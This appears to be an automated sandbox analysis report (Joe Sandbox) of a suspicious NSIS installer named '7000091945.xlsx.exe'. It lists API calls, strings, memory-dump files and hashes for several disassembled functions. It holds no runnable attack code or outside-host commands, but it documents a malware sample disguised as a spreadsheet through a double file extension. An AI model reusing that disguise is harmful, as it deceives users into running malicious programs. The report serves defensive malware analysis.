GetDlgItem.USER32(?,00000003), ref: 0040411C
ShowWindow.USER32(00000000,?), ref: 0040413D
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040414F
EnableWindow.USER32(?,?), ref: 0040416A
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404180
EnableMenuItem.USER32(00000000), ref: 00404187
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040419F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041B2
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 004041DC
SetWindowTextW.USER32(?,0042D268), ref: 004041F0
ShowWindow.USER32(?,0000000A), ref: 00404324

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 107ad6bdab59df7c6dc1e53992544a2f2aa45a341ad300a22c315677171673b9
Instruction ID: cb6f0490afd218b95da4ce8f8645ed9f2a2dc6dad26b5163c80864a666f03042
Opcode Fuzzy Hash: 107ad6bdab59df7c6dc1e53992544a2f2aa45a341ad300a22c315677171673b9
Instruction Fuzzy Hash: 40C1AFB1600305EFDB206F61EE85E2B7A68FB85706B54053EFA81B11F0CB799841DB2D

Function 00403AE0 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",00000000), ref: 00403B61
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\udstrmningsdysernes\eir\Speckly,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420), ref: 00403BE1
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\udstrmningsdysernes\eir\Speckly,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403BF4
GetFileAttributesW.KERNEL32(Call), ref: 00403BFF
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\udstrmningsdysernes\eir\Speckly), ref: 00403C48

Part of subcall function 00406358: wsprintfW.USER32 ref: 00406365

RegisterClassW.USER32(00433EA0), ref: 00403C85
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C9D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CD2
ShowWindow.USER32(00000005,00000000), ref: 00403D08
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403D34
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403D41
RegisterClassW.USER32(00433EA0), ref: 00403D4A
DialogBoxParamW.USER32(?,00000000,00403E8E,00000000), ref: 00403D69

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 00403B70, 00403B78, 00403C1B, 00403C21, 00403C31
1033, xrefs: 00403B00, 00403B5C
RichEd32, xrefs: 00403D1C
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 00403AE4
.exe, xrefs: 00403BEE
RichEdit20W, xrefs: 00403D2C, 00403D32
.DEFAULT\Control Panel\International, xrefs: 00403B4C
Call, xrefs: 00403BA8, 00403BB1, 00403BBF, 00403C0E, 00403C14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B14
_Nb, xrefs: 00403C64, 00403CCC
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE5
RichEd20, xrefs: 00403D0E
RichEdit, xrefs: 00403D3B

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\7000091945.xlsx.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\udstrmningsdysernes\eir\Speckly$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2656509457
Opcode ID: d0a9a63d962560b66f9d03636585c912b1b432706de4baa1d25fdb2d125816db
Instruction ID: ef062d508cd4fc62497976b4bc03dd7eae2cd9e8a178e807e7972486bae2ade7
Opcode Fuzzy Hash: d0a9a63d962560b66f9d03636585c912b1b432706de4baa1d25fdb2d125816db
Instruction Fuzzy Hash: 9A61B8711447006EE320AF66AE46F2B3A6CEBC5B4AF40453FF941B61E1DB7D9901CA2D

Function 00403015 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403026
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\7000091945.xlsx.exe,00000400,?,00000007,00000009,0000000B), ref: 00403042

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\7000091945.xlsx.exe,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 0040308E
GlobalAlloc.KERNELBASE(00000040,0000000B,?,00000007,00000009,0000000B), ref: 004031C4

Strings

, xrefs: 00403096
Error launching installer, xrefs: 00403065
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004031EB
soft, xrefs: 00403103
C:\Users\user\AppData\Local\Temp\, xrefs: 0040301C
C:\Users\user\Desktop\7000091945.xlsx.exe, xrefs: 0040302C, 0040303B, 0040304F, 0040306F
Null, xrefs: 0040310C
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 00403015
C:\Users\user\Desktop, xrefs: 00403070, 00403075, 0040307B
Inst, xrefs: 004030FA

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: $"C:\Users\user\Desktop\7000091945.xlsx.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\7000091945.xlsx.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3116558118
Opcode ID: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction ID: 352fdba277142773567f3d30b5bba7b1c47688a28dd7517ec43723b707c69b17
Opcode Fuzzy Hash: a52360a1b04fecb28cdb34ea46c0a5e0142df37db4d5eb2ecb020a06199e7e0c
Instruction Fuzzy Hash: CF51D331904204ABDB109FA5DD85B9E7EACEB48356F24803BF910BA2D1C77C9F418B9D

Function 0040644E Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040658F
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065A2
SHGetSpecialFolderLocation.SHELL32(004054B0,00425A20,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 004065DE
SHGetPathFromIDListW.SHELL32(00425A20,Call), ref: 004065EC
CoTaskMemFree.OLE32(00425A20), ref: 004065F7
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040661D
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004054B0,0042C248,00000000), ref: 00406675

Strings

Call, xrefs: 00406478, 00406553, 0040655A, 0040655E, 00406578, 00406579, 0040658E, 004065A1, 004065BD, 004065E8, 0040661C, 00406622, 0040663E, 00406651, 0040666E, 00406674, 00406680, 004066B3
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406617
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040655F

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 2c2ecd46c083869abf5f0cc2869f7ea5c15be7567ee334f864889eeacbeedf20
Instruction ID: cd0f296135d024e5542a1133132ccafb23cc3a0c8fe84acec88ebf75cbd5934e
Opcode Fuzzy Hash: 2c2ecd46c083869abf5f0cc2869f7ea5c15be7567ee334f864889eeacbeedf20
Instruction Fuzzy Hash: 9C614471A00111AADF208F54DD41BBE37A5AF44314F26853FE943B62D0EB3E5AA2CB5D

Function 0040324C Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032B6
GetTickCount.KERNEL32 ref: 0040335D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403386
wsprintfW.USER32 ref: 00403399

Strings

A, xrefs: 00403416
A, xrefs: 0040330C
ZB, xrefs: 0040333A, 00403355, 004033D2
*B, xrefs: 00403277
... %d%%, xrefs: 00403393

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%
API String ID: 551687249-3856725213
Opcode ID: 6aa008098f4ef09d38d5c59ecde741492560208fda71d4d747c9693988f45b69
Instruction ID: 934ec796fb5923f126773143cacc3683187fa16e161fba292e3b1b9e9ada072f
Opcode Fuzzy Hash: 6aa008098f4ef09d38d5c59ecde741492560208fda71d4d747c9693988f45b69
Instruction Fuzzy Hash: 44518C71D00219DBCB11DF65EA84B9E7FA8AF01756F10817BEC10BB2C1C7789A40CBA9

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched,?,?,00000031), ref: 004017D5

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405479: lstrlenW.KERNEL32(0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,755723A0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Strings

C:\Users\user\AppData\Local\Temp\nsf7C24.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsf7C24.tmp$C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll$C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched$Call
API String ID: 1941528284-1185715171
Opcode ID: 898ce4c5b6941fe7d419b72eda9361d5450072f2bf0dde35a2139be17a2a5618
Instruction ID: 3db4763bd34d6378758f0dea6881e25fdbecc032a5989a9cd586940b12637d70
Opcode Fuzzy Hash: 898ce4c5b6941fe7d419b72eda9361d5450072f2bf0dde35a2139be17a2a5618
Instruction Fuzzy Hash: 13419471500118BACF10BFA5CD85DAE7A79EF45368B20423FF512B21E1DB3C89919A2D

Function 00405948 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040598B
GetLastError.KERNEL32 ref: 0040599F
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004059B4
GetLastError.KERNEL32 ref: 004059BE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040596E
C:\Users\user\Desktop, xrefs: 00405948

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-1326413622
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 2a6702a12d34049f0ed6173726a665453ef4396ebd7eb618d4b77e108423b323
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 720108B1C10219EADF019BA4D948BEFBFB8EF04314F00803AD544B6180D77896488BA9

Function 00406796 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
wsprintfW.USER32 ref: 004067E8
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067FC

Strings

UXTHEME, xrefs: 0040679F
%s%S.dll, xrefs: 004067E2
\, xrefs: 004067BE

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 2cc1ede9ae180511fd9dc47da010e879a2503ad1dada0433f9440106b5f2728e
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: 86F09670510119A7DB24BF64DE4DF9B366CAB00709F11447AA646F21D0EB7C9A68CBA8

Function 00405F36 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F54
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034C3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F), ref: 00405F6F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F3B
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 00405F36
nsa, xrefs: 00405F43

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\7000091945.xlsx.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-800669941
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: 6280ba3094977af7574bcd42248b285f756f81412eced5037130b5adcb3d4edb
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: 55F03676B00204BFDB10CF55DD05E9FB7ADEB95750F10803AEE44F7150E6B499548B58

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction ID: 81522b48e592499502658fb4677f1b0f70c545d6b701466da39e5ccb8a756ba0
Opcode Fuzzy Hash: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction Fuzzy Hash: 0F215A72500109BBEF129F90CE89EEF7A7DEB54344F110076B945B11A0E7B48E54AAA8

